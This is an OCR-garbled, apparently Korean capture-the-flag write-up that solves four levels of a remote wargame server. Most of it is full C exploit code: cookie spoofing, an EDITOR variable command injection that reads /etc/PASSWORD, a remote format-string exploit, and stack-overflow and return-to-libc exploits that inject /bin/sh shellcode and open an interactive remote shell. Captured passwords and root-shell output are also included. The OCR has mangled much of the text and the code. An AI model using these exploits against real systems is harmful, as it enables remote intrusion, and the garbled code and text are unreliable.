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0x00:

0x01: Levell Hacking.
0x02: Level2 Hacking.
0x03. Level3 Hacking.
0x04. Level4 Hacking.

0x05.

0xO00:



O0x01: Levell Hacking.

, Levell
[1 |
http://211.205.70.252
admin

, id, password admin
database daemon ,

method . SQL Injection , session

Cookie 80

GET / HTTP/1.0
, /cgi-bin/LeVel1NiMdA.cgi
username password

, /cgi-bin/LeVel1NiMdA.cgi

GET /cgi-bin/LeVellNiMdA.cgi HTTP/1.0

, Cookie auth id
Cookie Spoofing Cookie
Cookie auth admin

, password

Cookie

, admin


http://211.205.70.252/

bash$ telnet 211.205.70.252 80

Trying 211.205.70.252...

Connected to 211.205.70.252.

Escape character is '* ]'.

GET /cgi-bin/LeVellNiMdA.cgi HTTP/1.0

Cookie: auth=admin

HTTP/1.1 200 OK

Password: 2gjsanswpfth%ok

bash$

password , level2

Cookie spoofing

-- DH-COOKIELEB1.c --

/*

** DH-COOKIELEBL1 - levell cookie spoofing exploit
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.

*%x

** —— How to exploit --

ok

** bash$ ./DH-suxCOOKIE test_host 80 /cgi-bin/LeVellNiMdA.cgi auth=admin
** +Sending, Cookie information.
** +Getting, information: —-

o

** HTTP/1.1 200 OK

** Date: ... GMT

** Server: ...

** Connection: close

** Content-Type: text/plain

*%x

** ... messages ...



** .. 2gjsanswpfh%ok

**x

*%x

** +Program end.
** bash$

*%x

** | like Zero and, Igniz!
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netdb.h>

#include <netinet/in.h>

int setsock(char *hostname,int port);

void usage(char *args);

void usage(char *args)
{

fprintf(stdout,”\ n Usage: %s [host] [port] [program path] [cookie
value]\ n",args);

fprintf(stdout,”" ex> %s test_host 80 /cgi-bin/LeVellNiMdA.cgi
auth=admin\ n\ n");

exit(-1);

int setsock(char *hostname,int port)

{

int sock;
struct hostent *he;

struct sockaddr_in x_addr;

if((he=gethostbyname(hostname))==NULL)
{

herror("gethostbyname");



exit(-1);

}
if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{

perror(“socket");

exit(-1);
}

x_addr.sin_family=AF_INET;
X_addr.sin_port=htons(port);
x_addr.sin_addr=*((struct in_addr*)he->h_addr);

bzero(&(x_addr.sin_zero),8);

if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)

{
perror(“connect");
exit(1);

}

return(sock);

int main(int argc,char *argv[])
{
char r_sbuf[1024];
int sock,g_g=0;
if(argc<5)
(void)usage(argv[0]);
if(argv[3]1[0]'="/)

{
fprintf(stderr,"web path error.\ n");
fprintf(stderr,"ex> /index.html (O) index.html (X)\ n");
exit(-1);

}

sock=setsock(argv[1],atoi(argv[2]));
memset((char *)r_sbuf,0,sizeof(r_sbuf)-1);
snprintf(r_sbuf,sizeof(r_sbuf)-1,"GET %s HTTP/1.0\ n"



"Accept: */*\ nAccept-Language: ko\ nUser-Agent: suxCookie\ n"

"Host: test_cookie\ nConnection: Keep-Alive\ nCookie: %s\ n\ n",
argv[3],argv[4]);

fprintf(stdout,"+Sending, Cookie information.\ n");

send(sock,r_sbuf,strlen(r_sbuf),0);

fprintf(stdout,"+Getting, information: --\ n\ n");

while(read(sock,&g_g,1)){
fprintf(stdout,"%c",g_q);

}

fprintf(stdout,"--\ n");

close(sock);

fprintf(stdout,"+Program end.\ n");

exit(-1);

/* eoc */



0x02: Level2 Hacking.

Level2
[2 ]
211.205.70.252 18523/tcp
chroot daemon
daemon , src code
-— src script —-
#1/bin/ksh

if /bin/test -z $1 ; then echo "usage: src <name>"; exit ; fi

fname="/bin/basename $1°

if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi

echo "======= source =[$fname]
$EDITOR source/$fname
echo "
/bin/basename
$fname
$EDITOR test

, /bin/cat
$EDITOR



, SEDITOR
.Is

shell el

( :/bin/ls /etc/* , *
)

echo /*

, chroot

, letc PASSWORD

telnet

/bin/cat source

echo

bash$ telnet 211.205.70.252 18523

Trying 211.205.70.252...
Connected to 211.205.70.252.

Escape character is '* ]".

export EDITOR="/bin/cat /etc/PASSWORD ";

src test;

Password: wk!ghkxld-3

$EDITOR /bin/cat

(33

. Src

, Level3

, SIc

/etc/PASSWORD

, /etc/PASSWORD



0x03: Level3 Hacking.

Level3

[3 ]
211.205.70.252 35232/tcp

Secure daemon

daemon

, ftp server  LIST ,

HELP

-- HELP -
== HELP
HELP : this page

USER : Username

PASS : Password

LIST : List

NOOP : No Operation

EXPN : Expand command
OPTE : Echo Option toggle
OPTV : Verbose Option toggle
OPTD : Debug Option toggle
OPTL : Print Option

VERS : Print version

QUIT : quit

. OPTL ,
ON( ) OPTE, OPTV, OPTD



ON , OPTS OFF
, Stack Debug mode( ) ,
OPTS , stack

stack stack
, Stack overflow format string
, , format string ,

remote format string

echo option , shellcode
stack stack %8x 3
, shellcode ,
retloc . .dtors GOT
stack stack return address
brute-force
4
, $-flag , . (
format string method J)
return address
, shell() , loop
loop return address 4
remote format string exploit

code



-— DH-suxLEB3.c —-

/*

** DH-suxLEB3 - x86/linux level3 remote format string exploit
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.

*%x

** —— How to exploit --

*%x

** bash$ ./DH-suxLEB3 -t0 -c id

*%x

*x

*%x

*x

*x

*x

*x

**x

*x

*x

*x

*x

*x

*x

*x

*x

*x

*%x

*%x

DH-suxLEB3 - x86/linux level3 remote format string exploit.

[*] Target Host: test_host:test_port

[*] Target type: Testing Testing Testing my Platform.
[+] Make shelicode.

[+] shellcode address: 0xbffff824

[*1 Ok, Brute-force address: 0x8049658
[+] Setting socket.

[#1] Connect, It's message.

[#2] Send password: —-

[#3] Send OPTE command.

[#4] Send OPTS command.

[#5] Send QUIT command.

[+] Waiting, Shell.

uid=0 gid=0

** | like Zero and, Igniz!

*/

#include <stdio.h>

#include <unistd.h>

#include <netdb.h>

#include <netinet/in.h>

#define PASSWD "wk!ghkxld-3.\ n"



#define QUIT_CMD "QUIT\ n" /* quit */

#define OPTE_CMD "OPTE\ n" /* Echo Option toggle */
#define OPTS_CMD "OPTS\ n" /* Stack debug mode */

#define DEF_CMD "ksh -i; id\ n" /* default command */
#define TEST_HOST

#undef TEST_HOST /* undef ;D */

#ifdef TEST_HOST

#define HOSTNAME "test_host"

#define PORT "test_port"//31337

#define DFLAG 1

#else

#define HOSTNAME "211.205.70.252"

#define PORT 35232

#define DFLAG 3 // $-flag count

#endif
struct os{
int num;
char *ost;
u_long rettr; /* brute-force target */
u_long shell;
h

struct os plat[]={
{0,"Testing Testing Testing my Platform.",
0x08049650,0xbffff824},
/* successfully range: OxbffefbcO ~ Oxbffefbd0 */
{1,"Secure Deamon v0.1(?) Linux Platform Testing.",
Oxbffefac8,0xbffefc88}

¥

char shellcode[]= /* 24byte small code */

"\ x31\ xd2\ x52\ x68\ x6e\ x2fA x73\ x68\ x68\ x2fi x2fA\ x62\ x69\ x
89\ xe3\ x52"

"\ x53\ x89\ xel\ x8d\ x42\ x0b\ xcd\ x80";



u_char __bigbf[120*16];

u_char __midbf[120*8];

u_char __smilbf[120*4];

char readbuf[2048];

int type=1,chk=0; /* default type: 1 */
char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);

void usage(char *args);

int main(int argc,char *argv[])

{
int a,b,c,flag=(DFLAG),port=(PORT);
int e,f,g,h,al,a2,a3,a4,g_g=0;

char hostname[256]=HOSTNAME;
u_long retloc=0,shaddr=0;
int socket_fd, bf=0; /* default bf: 0 */

memset((char *)__bigbf,0,sizeof(__bigbf));
memset((char *)__midbf,0,sizeof(__midbf));
memset((char *)__smlbf,0,sizeof(__smibf));

memset((char *)readbuf,0,sizeof(readbuf));

fprintf(stdout,”\ n DH-suxLEB3 - x86/linux level3 remote format string
exploit\ n\ n");
fflush(stdout);

while((a=getopt(argc,argv,"“c:r:s:f:h:t:b"))!=EOF){
switch(a){
case 'c':
memset((char *)command,0,sizeof(command));
strncpy(command,optarg,sizeof(command)-2);
strncat(command,”\ n",1);

break;



case 'r": /* ret address */
retloc=strtoul(optarg,NULL,0);
break;

case 's": /* &shell address */
shaddr=strtoul(optarg,NULL,0);
break;

case 'f': /* $-flag */
flag=atoi(optarg);
break;

case 'h': /* hostname */
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;

case 't': /* target type. */
if(type>1) /* max 2 */
(void)usage(argv[0]);
else type=atoi(optarg);
break;

case 'b': /* brute-force mode. */
__bf=1;

break;

case "?":
(void)usage(argv[0]);
break;

retloc=plat[type].rettr;

shaddr=plat[type].shell;



fprintf(stdout,” [*] Target Host: %s:%d\ n",hosthame,port);

fprintf(stdout,” [*] Target type: %s\ n",plat[type].ost);

fprintf(stdout,” [+] Make shellcode.\ n"); {
for(b=0;b<140;b++)

{
__midbf[b]=0x40;
}
for(c=0;c<strlen(shellcode);c++)
{
__midbf[b++]=shellcode[c];
}
}
fprintf(stdout,” [+] shellcode address: %p\ n",shaddr); {
#if 1 /* */

#define RNP(v,sh,ft) {A
v=((sh)>>(ft)) &0xff;\

}

#define X_X(a,b,c,d,shaddr) {\
RNP(a,shaddr,24);\
RNP(b,shaddr,16);\
RNP(c,shaddr,8);\
RNP(d,shaddr,0);\

}

#endif

#if O

e=(shaddr>>24)&0xff; /* example */
#else
X_X(e,f,g,h,shaddr);
X_X(al,a2,a3,a4,shaddr);
if((a4-32)<10)
h+=0x00000100;
if((a3-a4)<10)
g+=0x00000100;
if((a2-a3)<10)
f+=0x00000100;
#endif



}
for(a=0,chk=0;a<1000;a++,retloc+=4)
{
int base_index=0;
I* 0x00 , Ox0a , */
#define CHECK(retloc) {\
if((((retloc>>8)&0xff)==(0x0a)) | | (((retloc>>0)&0xff)==(0x0a)))\
continue;\
if((((retloc>>8)&0xff)==(0x00)) | | (((retloc>>0)&0xff)==(0x00)))\

continue;\

CHECK(retloc);
#if 1//MASK_PUSH
#define MNP(__M,index,__ wt) {A
*(long *)&__M[index]=__wt;\
index+=4;\
}
#endif
fprintf(stdout,” [*] Ok, Brute-force address: %p\ n",retloc);
#if O
*(long *)&__smibf[0]=0x41414141;
#else
I* */
MNP(_smibf,base_index,0x41414141);
MNP(__smlibf,base_index,retloc+0x00000000);
MNP(_smibf,base_index,0x41414141);
MNP(_smibf,base_index,retloc+0x00000001);
MNP(_smibf,base_index,0x42424242);
MNP(_smibf,base_index,retloc+0x00000002);
MNP(_smibf,base_index,0x42424242);
MNP(__smlibf,base_index,retloc+0x00000003);
#endif
I* 4 )
** $-flag
*/



snprintf(__bigbf,sizeof(__bigbf)-1,

"065%%%d$%UX%%%d$n %% %dS%Ux%%%d$n %% %d$%UX%%%dSn% %% d$%uUX
%%%d$n%s\ n",
__smilbf,flag+0x00000000,h-
32,flag+0x00000001,flag+0x00000002,
g-a4,flag+0x00000003,flag+0x00000004,f-
a3,flag+0x00000005,
flag+0x00000006,0x100+e-a2,flag+0x00000007,__midbf);

fprintf(stdout,” [+] Setting socket.\ n");
socket_fd=setsock(hostname,port);
#ifdef DEBUG
sleep(10);
#endif
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#1] Connect, It's message.\ n");
#ifdef DEBUG
fprintf(stdout,"--\ n%s\ n--\ n",readbuf);
#endif
/* password Lx
send(socket_fd,PASSWD,strlen(PASSWD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#2] Send password: --\ n");
#ifdef DEBUG
fprintf(stdout,"--\ n%s\ n--\ n",readbuf);
#endif
/* opte On L*/
send(socket_fd,OPTE_CMD,strlen(OPTE_CMD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#3] Send OPTE command.\ n");
#ifdef DEBUG
fprintf(stdout,"--\ n%s\ n--\ n",readbuf);



#endif

#ifdef DEBUG

#endif

/* opts On L
send(socket_fd,OPTS_CMD,strlen(OPTS_CMD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#4] Send OPTS command.\ n");

fprintf(stdout,"--\ n%s\ n--\ n",readbuf);

/* send code */

1* C*
send(socket_fd,__bigbf,strlen(__bigbf),0);
memset((char *)readbuf,0,sizeof(readbuf));

/* QUIT

** gegfault daemon

*/
send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#5] Send QUIT command.\ n");

fprintf(stdout,” [+] Waiting, Shell.\ n");
sleep(1);

/* segfault , QUIT daemon

*x
H

*/

send(socket_fd,command,strlen(command),0);
memset((char *)readbuf,0,sizeof(readbuf));
chk=recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
r* , daemon

*/

if(chk==-1){

fprintf(stdout,” [-] Failed, reconnect attack.\ n\

n");



close(socket_fd);

continue;
}
else
{
r* shell )
*/
fprintf(stdout,"%s\ n",readbuf);
(void)shell(socket_fd);
}

close(socket_fd);

void usage(char *args){

fprintf(stdout,” Usage: %s -options arguments\ n\ n",args);

fprintf(stdout,” -r [retloc] - return address.\ n");
fprintf(stdout,” -s [shell] - shell address.\ n");
fprintf(stdout,” -f [flag] - flag number.\ n");
fprintf(stdout,” —-h [hostname] - target host.\ n");
fprintf(stdout,” -t [type] - target type.\ n");
fprintf(stdout,” -b - brute-force mode.\ n\ n");

fprintf(stdout,” - Target type number list -\ n\ n");

fprintf(stdout,” {0}: Testing Testing Testing my Platform.\ n");
fprintf(stdout,” {1}: Secure Deamon v0.1(?) Linux Platform Testing.\ n");
fprintf(stdout,”\ n Example: %s -t1 -hlocalhost\ n\ n",args);

exit(0);

int setsock(char *hostname,int port)
{

int sock;

struct hostent *he;

struct sockaddr_in x_addr;



if((he=gethostbyname(hostname))==NULL)

{

herror(“"gethostbyname");

exit(1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{

perror(“socket");

exit(1);
}

x_addr.sin_family=AF_INET;
X_addr.sin_port=htons(port);
x_addr.sin_addr=*((struct in_addr*)he->h_addr);

bzero(&(x_addr.sin_zero),8);

if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)

{
perror("connect");
exit(1);

}

return(sock);

void shell(int socks)

{
int died;
char fall_again[1024];
fd_set rset;
bzero(&fall_again,1024);

while(1)

{
fflush(stdout);
FD_ZERO(&rset);
FD_SET(socks,&rset);
FD_SET(STDIN_FILENO,&rset);



select(socks+1,&rset, NULL,NULL,NULL);

if(FD_ISSET (socks,&rset))

{
died=read(socks,fall_again,sizeof(fall_again)-1);
if(died<=0)

{
fprintf(stdout,”\ n [*] Thanks.\ n\ n");
exit(0);
}
fall_again[died]=0;
fprintf(stdout,"%s",fall_again);

}

if(FD_ISSET(STDIN_FILENO,&rset))

{
died=read(STDIN_FILENO,fall_again,sizeof(fall_again)-1);
if(died>0)

{
fall_again[died]=0;
write(socks,fall_again,died);
}
}
}
return;
}
/* eof */
code shell ,

/etc/PASSWORD , Level4



bash$ ./DH-suxLEB3 -t1 -c id

DH-suxLEB3 - x86/linux level3 remote format string exploit.

[*] Target Host: 211.205.70.252:35232
[*] Target type: Secure Deamon v0.1(?) Linux Platform Testing.
[+] Make shellcode.
[+] shellcode address: Oxbffefc88
[*1 Ok, Brute-force address: Oxbffefbc?
[+] Setting socket.
[#1] Connect, It's message.
[#2] Send password: ——
[#3] Send OPTE command.
[#4] Send OPTS command.
[#5] Send QUIT command.
[+] Waiting, Shell.
uid=1000 gid=1000
cat /etc/PASSWORD

Password: eoeks$tiffur&wk




0x04: Level4 Hacking.

Level4
[4 ]
211.205.70.253 23152/tcp
3 Format strings

Buffer Overflow

index.html ID
, Capture the flag

buffer overflow

buffer overflow

, Level3
PASS
, stack debug id
( ,

USER gammaray
PASS digital

, LIST , buffer overrun

USER, PASS
, canary address
, SIGSEGV signal
, canary , signal()

. stack debug

exploit

USER

password

SIGSEGV
, =CHECK*=



=CHECK1= & 120byte
4byte  frame pointer .

return address

, stack , RedHat Liunx 9.0
Random stack . stack
stack , stack

stack overflow exploit ,

, Random stack system

Ret-to-lib exploit method shellcode
shell

, system(), “/bin/sh”

Linux jmp %esp
exploit method

( Windows buffer overflow exploit J)

, exploit
, Random stack

stack

, shellcode stack
, , stack stack
shell

exploit code



-- DH-breakLEB4.c —--

/*

** DH-breakLEB4 - x86/redhat-linux level4 remote buffer overflow exploit
** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.

*%x

** —— How to exploit --

*%x

** pash$ ./DH-breaklLEB4

*%x

** DH-breakLEB4 - x86/redhat-linux level4 remote buffer overflow exploit.
ok

** [+] Setting socket.

** [#1] Connect, It's message.
**  [#2] Send password.

** [*] Send code.

** [#3] Send QUIT command.
** [+] Waiting, Shell.

** [-] Failed, reconnect attack.
o

** [+] Setting socket.

** [#1] Connect, It's message.
** [#2] Send password.

** [*] Send code.

** [#3] Send QUIT command.
**  [+] Waiting, Shell.

** uid=0 gid=0

ok

*%x

** | like Zero and, Igniz!
*/

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>

#include <sys/socket.h>



#define PASSWD "eoeks$tiffur&wk\ n"

#define QUIT_CMD "QUIT\ n" /* quit */

#define DEF_CMD "ksh -i; id\ n" /* default command */
#define HOSTNAME "211.205.70.253"

#define PORT 23152

#define USER_CMD "USER0123456789012345678901234"
#define CHECK_BD "=CHECK1=" /* boundary str */

#define RET_ADDR (Oxbfffdd58)

char shellcode[]=

"\ x31\ xd2\ x52\ x68\ x6e\ x2fA x73\ x68\ x68\ x2fi x2fA x62\ x69\ x
89\ xe3\ x52"

"\ x53\ x89\ xel\ x8d\ x42\ x0b\ xcd\ x80";

u_char __bighf[1024];

u_char __smibf[256];

char readbuf[2048];

int chk=0;

char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);

void usage(char *args);

int main(int argc,char *argv[])

{
int socket_fd,i=0,j=0,a,port=(PORT);
u_long retaddr=(RET_ADDR);
char hostname[256]=HOSTNAME;
memset((char *)__smlbf,0,sizeof(__smibf));

fprintf(stdout,”\ n DH-breakLEB4 - x86/redhat-linux level4 remote buffer
overflow exploit.\ n\ n");
fflush(stdout);



while((a=getopt(argc,argv, h:p:r:"))I=EOF){

switch(a){
case 'h":
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;
case 'p":
port=atoi(optarg);
break;
case r":
retaddr=strtoul(optarg,NULL,0);
break;
case '?":
(void)usage(argv[0]);
break;
}

for(i=0;i<120-strlen(shellcode);i++)
__smlbf[i]=0x41;

for(j=0;j<strlen(shellcode);j++)
__smlbf[i++]=shellcode[j];

*(long *)&__smibf[i]=0x41414141; /* frame pointer */
i+=4;
*(long *)&__smlbf[i]=retaddr; /* return address */
i+=4;
/* USER ) L*/
memset((char *)__bigbf,0,sizeof(__bigbf));
snprintf(__bigbf,sizeof(__bigbf)-
1,"%s%s%s\ n",USER_CMD,CHECK_BD, _smibf);



/*

while(1)

{

#ifdef DEBUG

#endif

#ifdef DEBUG

#endif

#ifdef DEBUG

#endif

X

fprintf(stdout,” [+] Setting socket.\ n");
socket_fd=setsock(hostname,port);

sleep(10);

memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);

fprintf(stdout,” [#1] Connect, It's message.\ n");

fprintf(stdout,"--\ n%s\ n--\ n",readbuf);

/* password */
send(socket_fd,PASSWD,strlen(PASSWD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#2] Send password.\ n");

fprintf(stdout,"--\ n%s\ n--\ n",readbuf);

/* send code */
fprintf(stdout,” [*] Send code.\ n");
send(socket_fd,__bigbf,strlen(__bigbf),0);

memset((char *)readbuf,0,sizeof(readbuf));

/* QUIT daemon */
send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#3] Send QUIT command.\ n");

fprintf(stdout,” [+] Waiting, Shell.\ n");
sleep(1);



/*

*k , shell

*%x

*/

send(socket_fd,command,strlen(command),0);
memset((char *)readbuf,0,sizeof(readbuf));
chk=recv(socket_fd,readbuf,sizeof(readbuf)-1,0);

if(chk==-1){
fprintf(stdout,” [-] Failed, reconnect attack.\ n\ n");

close(socket_fd);

continue;

}

else

{
fprintf(stdout,"%s\ n",readbuf);
(void)shell(socket_fd);

}

close(socket_fd);

void usage(char *args){
fprintf(stdout,” Usage: %s -options arguments\ n\ n",args);
fprintf(stdout,” -r [retloc] - return address.\ n");
fprintf(stdout,” -h [hostname] - target host.\ n");

fprintf(stdout,” —-p [port] - port number.\ n");
fprintf(stdout,”\ n Example: %s -hlocalhost -r0x41414141\ n\ n",args);
exit(0);

int setsock(char *hostname,int port)

{

int sock;

struct hostent *he;



struct sockaddr_in x_addr;

if((he=gethostbyname(hostname))==NULL)

{

herror(“"gethostbyname");

exit(1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{

perror(“socket");

exit(1);
}

x_addr.sin_family=AF_INET;
X_addr.sin_port=htons(port);
X_addr.sin_addr=*((struct in_addr*)he->h_addr);

bzero(&(x_addr.sin_zero),8);

if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)

{
perror("connect");
exit(1);

}

return(sock);

void shell(int socks)

{
int died;
char fall_again[1024];
fd_set rset;
bzero(&fall_again,1024);

while(1)

{
fflush(stdout);
FD_ZERO(&rset);



FD_SET(socks,&rset);
FD_SET(STDIN_FILENO,&rset);
select(socks+1,&rset, NULL,NULL,NULL);

if(FD_ISSET (socks,&rset))

{
died=read(socks,fall_again,sizeof(fall_again)-1);
if(died<=0)

{
fprintf(stdout,”\ n [*] Thanks.\ n\ n");
exit(0);
}
fall_again[died]=0;
fprintf(stdout,"%s",fall_again);

}

if(FD_ISSET(STDIN_FILENO,&rset))

{
died=read(STDIN_FILENO,fall_again,sizeof(fall_again)-1);
if(died>0)

{
fall_again[died]=0;
write(socks,fall_again,died);
}
}
}
return;
}
/* eof */

shell , IPASSWORD ,



bash$ ./DH-breakLEB4

DH-breakLEB4 - x86/redhat-linux level4 remote buffer overflow exploit.

[+] Setting socket.

[#1] Connect, It's message.
[#2] Send password.

[*1 Send code.

[#3] Send QUIT command.
[+] Waiting, Shell.

[-] Failed, reconnect attack.

[+] Setting socket.

[#1] Connect, It's message.

[#2] Send password.

[*1 Send code.

[#3] Send QUIT command.

[+] Waiting, Shell.
uid=1000 gid=1000
cat /PASSWORD

.4

(hacking.kcs.ac.kr)
4
index.html ID

, Capture the flag

: cnr® rhwlirhtn%tmdflfmfdnigo




, return address system lib

exit , 4byte  “/bin/sh”

system exit lib debugger

(gdb) br main

Breakpoint 1 at 0x804842b

(gdb) r

Starting program: /tmp/test_binary

Breakpoint 1, 0x804842b in main ()

(gdb) print system

$1 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb) print exit

$2 = {<text variable, no debug info>} 0x42029bb0 <exit>

(gdb)

“/bin/sh” shell , address
brute-force . , system  exit
( linux ) , “/bin/sh”
1lbyte
( . “/bin/ksh”)

exploit code



-- DH-retolib.c --
/*
** DH-retolib - x86/redhat-linux level4 remote buffer overflow exploit

** Version: Return to library exploit method

*%x

** exploit by "DH" (Igniz), <2033010253@sdu.ac.kr>.

*%x

** —— How to exploit --

*%x

** bash$ ./DH-retolib
*x
**  DH-retolib - x86/redhat-linux level4 remote buffer overflow exploit.

** Version: Return to library exploit method.

*%x

**x

** [+] Setting socket.

** [#1] Connect, It's message.

**  [#2] Send password.

** [*] Send code.

** [*] Brute-force address: Oxbffffbfb
** [#3] Send QUIT command.

**  [+] Waiting, Shell.

** [-] Failed, reconnect attack.

ok

** [+] Setting socket.

** [#1] Connect, It's message.

**  [#2] Send password.

** [*] Send code.

** [*] Brute-force address: Oxbffffbfc
** [#3] Send QUIT command.

**  [+] Waiting, Shell.

** uid=0 gid=0

ok

*%x

** | like Zero and, Igniz!
*/



#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>

#include <sys/socket.h>

#define PASSWD "eoeks$tiffur&wk\ n"

#define QUIT_CMD "QUIT\ n" /* quit */

#define DEF_CMD "ksh -i; id\ n" /* default command */
#define HOSTNAME "211.205.70.253"

#define PORT 23152

#define USER_CMD "USER0123456789012345678901234"
#define CHECK_BD "=CHECK1=" /* boundary str */

#define STRT_ADDR (Oxbffffbf4)

char shellcode[]=

"\ x31\ xd2\ x52\ x68\ x6e\ x2fA x73\ x68\ x68\ x2fi x2fA x62\ x69\ x
89\ xe3\ x52"

"\ x53\ x89\ xel\ x8d\ x42\ x0b\ xcd\ x80";

u_char __bighf[1024];

u_char __smibf[256];

char readbuf[2048];

int chk=0;

char command[256]=DEF_CMD;

int setsock(char *hostname,int port);
void shell(int socks);

void usage(char *args);

int main(int argc,char *argv[])
{
int socket_fd,i=0,j=0,a,port=(PORT);
u_long bf_addr=(STRT_ADDR); /* stack */



char hosthname[256]=HOSTNAME;

fprintf(stdout,”\ n DH-retolib - x86/redhat-linux level4 remote buffer
overflow exploit.\ n");

fprintf(stdout,” Version: Return to library exploit method.\ n\ n");

fflush(stdout);

while((a=getopt(argc,argv,"h:p:a:"))I=EOF){

switch(a){
case 'h":
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;
case 'p':
port=atoi(optarg);
break;
case 'a':
bf_addr=strtoul(optarg,NULL,0);
break;
case '?":
(void)usage(argv[0]);
break;
}
}
while(1)
{
if(bf_addr==0xbfffffff) /* stack */
{

fprintf(stdout,” [-] Brute-force Failed. (stack end)\ n\ n");
exit(-1);
}

else bf_addr++;



r* shell 0x00 0x0a
*x , L
#define CHECK(retloc) {\
if((((retloc>>8)&0xff)==(0x0a)) | | (((retloc>>0)&0xff)==(0x0a)))\
continue;\
if((((retloc>>8)&0xff)==(0x00)) | | (((retloc>>0)&0xff)==(0x00)))\

continue;\
CHECK(bf_addr);

memset((char *)__smlbf,0,sizeof(__smibf));

for(i=0;i<120-strlen(shellcode);i++)
__smlbf[i]=0x41;

for(j=0;j<strlen(shellcode);j++)
__smlbf[i++]=shellcode[j];

*(long *)&__smibf[i]=0x41414141; /* frame pointer */
i+=4;
*(long *)&__smlbf[i]=0x4203f2c0; /* system address */
i+=4;
*(long *)&__smlbf[i]=0x42029bb0; /* exit address */
i+=4;
*(long *)&__smlbf[i]=bf_addr; /* shell string address */
i+=4;
I* .
** [ EBP [ RET I1[ - I[ - 1
** 0x41414141 system exit shell str
*/
/* USER ) L*/
memset((char *)__bigbf,0,sizeof(__bigbf));
snprintf(__bigbf,sizeof(__bigbf)-

1,"%s%s%s\ n",USER_CMD,CHECK_BD, _smibf);

fprintf(stdout,” [+] Setting socket.\ n");

socket_fd=setsock(hostname,port);



#ifdef DEBUG
sleep(10);
#endif
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#1] Connect, It's message.\ n");
#ifdef DEBUG
fprintf(stdout,"--\ n%s\ n--\ n",readbuf);
#endif
/* password */
send(socket_fd,PASSWD,strlen(PASSWD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#2] Send password.\ n");
#ifdef DEBUG
fprintf(stdout,"--\ n%s\ n--\ n",readbuf);
#endif
/* send code */
fprintf(stdout,” [*] Send code.\ n");
fprintf(stdout,” [*] Brute-force address: %p\ n",bf_addr);
send(socket_fd,__bigbf,strlen(__bigbf),0);

memset((char *)readbuf,0,sizeof(readbuf));

send(socket_fd,QUIT_CMD,strlen(QUIT_CMD),0);
memset((char *)readbuf,0,sizeof(readbuf));
recv(socket_fd,readbuf,sizeof(readbuf)-1,0);
fprintf(stdout,” [#3] Send QUIT command.\ n");

fprintf(stdout,” [+] Waiting, Shell.\ n");
sleep(1);

send(socket_fd,command,strlen(command),0);
memset((char *)readbuf,0,sizeof(readbuf));

chk=recv(socket_fd,readbuf,sizeof(readbuf)-1,0);

if(chk==-1){



fprintf(stdout,” [-] Failed, reconnect attack.\ n\ n");

close(socket_fd);

continue;

}

else

{
fprintf(stdout,"%s\ n",readbuf);
(void)shell(socket_fd);

}

close(socket_fd);

void usage(char *args){
fprintf(stdout,” Usage: %s -options arguments\ n\ n",args);
fprintf(stdout,” -a [shelladdr] - shell string addr.\ n");
fprintf(stdout,” —-h [hostname] - target host.\ n");
fprintf(stdout,” —-p [port] - port number.\ n");
fprintf(stdout,”\ n Example: %s -hlocalhost —-aOxbffffbf4\ n\ n",args);
exit(0);

int setsock(char *hostname,int port)
{

int sock;

struct hostent *he;

struct sockaddr_in x_addr;

if((he=gethostbyname(hostname))==NULL)
{

herror("gethostbyname");

exit(1);
}
if((sock=socket(AF_INET,SOCK_STREAM,0))==-1)
{



perror(“socket");

exit(1);
}
X_addr.sin_family=AF_INET;
X_addr.sin_port=htons(port);
x_addr.sin_addr=*((struct in_addr*)he->h_addr);

bzero(&(x_addr.sin_zero),8);

if(connect(sock,(struct sockaddr *)&x_addr,sizeof(struct sockaddr))==-1)

{
perror(“connect");
exit(1);

}

return(sock);

void shell(int socks)

{
int died;
char fall_again[1024];
fd_set rset;
bzero(&fall_again,1024);

while(1)

{
fflush(stdout);
